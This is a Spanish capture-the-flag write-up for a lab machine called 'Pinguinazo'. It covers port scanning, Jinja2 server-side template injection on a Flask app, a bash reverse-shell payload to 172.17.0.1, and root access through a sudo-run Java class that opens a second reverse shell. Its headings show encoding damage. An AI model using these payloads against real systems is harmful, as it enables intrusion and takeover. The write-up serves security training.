# Pinguinazo
### 馃攳 **RECONOCIMIENTO**
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 172.17.0.2
```
para verificar la conectividad de red.
A continuaci贸n, se realiza el comando:
```bash
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Durante el escaneo, se identific贸 que el puerto 5000/tcp est谩 abierto y asociado al servicio `upnp`. El estado del puerto es `open` y la raz贸n es `syn-ack`.
### 馃攷 **EXPLORACI脫N**
Para saber m谩s informaci贸n sobre el puerto abierto, se realiza el siguiente comando:
```bash
nmap -sCV -p5000 172.17.0.2 -oN targeted
```
Parece que estamos tratando con un servidor que utiliza **Werkzeug** con **Flask**. Vamos a realizar una inspecci贸n manual de este sitio web.
Ahora buscaremos directorios con la herramienta **Gobuster** a trav茅s de:
```bash
gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```
Hemos encontrado un directorio llamado `console`, que en este tipo de servidores podr铆a permitir la ejecuci贸n remota de c贸digo (RCE). Sin embargo, est谩 protegido por un PIN, as铆 que continuaremos con la enumeraci贸n.
Parece que el fuzzeo hasta ahora no ha proporcionado m谩s resultados. Vamos a experimentar con el formulario que encontramos al principio. Observamos que hay una reflexi贸n en el campo del nombre, por lo que probaremos si interpreta el c贸digo HTML.
Hemos confirmado que el formulario interpreta etiquetas HTML. Ahora, vamos a probar si es vulnerable a un ataque de SSTI (Server-Side Template Injection) utilizando el payload `{{7+7}}`. Si la operaci贸n se ejecuta correctamente, esto indicar谩 que es posible inyectar y ejecutar comandos a trav茅s de estas plantillas.
Como se ha realizado correctamente inyectaremos una reverse shell y as铆 poder obtener el acceso al sistema.
Despu茅s de investigar varios payloads para **Jinja2**, encontramos uno que permite ejecutar un comando para enviar una shell a nuestra m谩quina atacante. Utilizamos **HackTricks** y el repositorio de **PayloadAllTheThings** para esta investigaci贸n. Enviaremos un **payload** para ver el ID de usuario.
```
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```
Con esta informaci贸n, intentaremos establecer una **shell** utilizando este m茅todo. Ejecutaremos el siguiente comando, que hemos adaptado para incluir nuestra propia shell, tal como se detalla en la p谩gina mencionada.
```bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/172.17.0.1/443 0>&1\'').read() }}
```
### 馃攼 **PRIVILEGIOS**
Al estar dentro y ejecutar:
```bash
whoami
```
a煤n no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
En **GTFOBins** no encontramos informaci贸n relevante para nuestro caso, pero hemos encontrado informaci贸n 煤til en la siguiente p谩gina:
[RevShells](https://www.revshells.com/)
Esta p谩gina proporciona una variedad de t茅cnicas y ejemplos para obtener shells reversas en diferentes entornos, lo cual puede ser crucial para nuestra investigaci贸n y para implementar un m茅todo adecuado para el objetivo.
```bash
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4444 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
```
Nos ponemos en escucha con **netcat**, esta vez por el puerto **4444** y ejecutamos como sudo el fichero java que hemos creado.
```bash
nc -lvnp 4444
```
Conseguimos ser **root**.
